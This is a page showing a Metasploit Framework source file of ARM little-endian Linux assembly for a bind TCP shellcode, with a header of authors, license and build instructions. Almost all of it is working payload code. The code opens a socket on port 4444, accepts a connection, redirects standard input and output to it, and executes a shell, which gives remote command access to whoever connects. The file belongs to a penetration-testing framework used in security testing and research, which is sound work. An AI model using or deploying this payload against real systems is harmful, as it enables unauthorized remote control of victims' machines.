Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/linux/armle/single_sock_bind.s
Views: 11784
@@1@2@ Name: single_sock_bind3@ Qualities: -4@ Authors: civ, repmovsb5@ License: MSF_LICENSE6@ Description:7@8@ Implementation of a Linux bind TCP shellcode for ARM LE architecture.9@10@ This source is built from the payload module (instead of other way around...)11@12@ Assemble with: as single_sock_bind.s -o single_sock_bind.o13@ Link with: ld single_sock_bind.o -o single_sock_bind14@15@ Meta-Information:16@17@ meta-shortname=Linux Bind TCP18@ meta-description=Listen on a port for a connection and run a second stage19@ meta-authors=civ, repmovsb20@ meta-os=linux21@ meta-arch=armle22@ meta-category=singles23@ meta-connection-type=bind24@ meta-name=bind_tcp25@@2627.text28.globl _start29_start:30@ int socket(int domain, int type, int protocol);31@ socket(2,1,6)32mov r0, #233mov r1, #134mov r2, #635mov r7, #136lsl r7, r7, #837add r7, r7, #2538svc 039mov r6, r04041@ bind42add r1, pc, #12843mov r2, #1644mov r7, #145lsl r7, r7, #846add r7, r7, #2647svc 04849@ listen50mov r0, r651mov r7, #152lsl r7, r7, #853add r7, r7, #2854svc 05556@ accept57mov r0, r658sub r1, r1, r159sub r2, r2, r260mov r7, #161lsl r7, r7, #862add r7, r7, #2963svc 06465@ dup66mov r6, r067mov r1, #268loop:69mov r0, r670mov r7, #6371svc 072subs r1, r1, #173bpl loop7475@ execve(SHELL, [ARGV0], [NULL])76add r0, pc, #3677eor r4, r4, r478push {r4}79mov r2, sp80add r4, pc, #3681push {r4}82mov r1, sp83mov r7, #1184svc 08586@ addr87@ port: 4444 , sin_fam = 288.word 0x5c11000289@ ip: 0.0.0.090.word 0x000000009192@ SHELL93.word 0x00000000 @ the shell goes here!94.word 0x0000000095.word 0x0000000096.word 0x0000000097@ ARGV098.word 0x00000000 @ the args!99.word 0x00000000100.word 0x00000000101.word 0x00000000102103104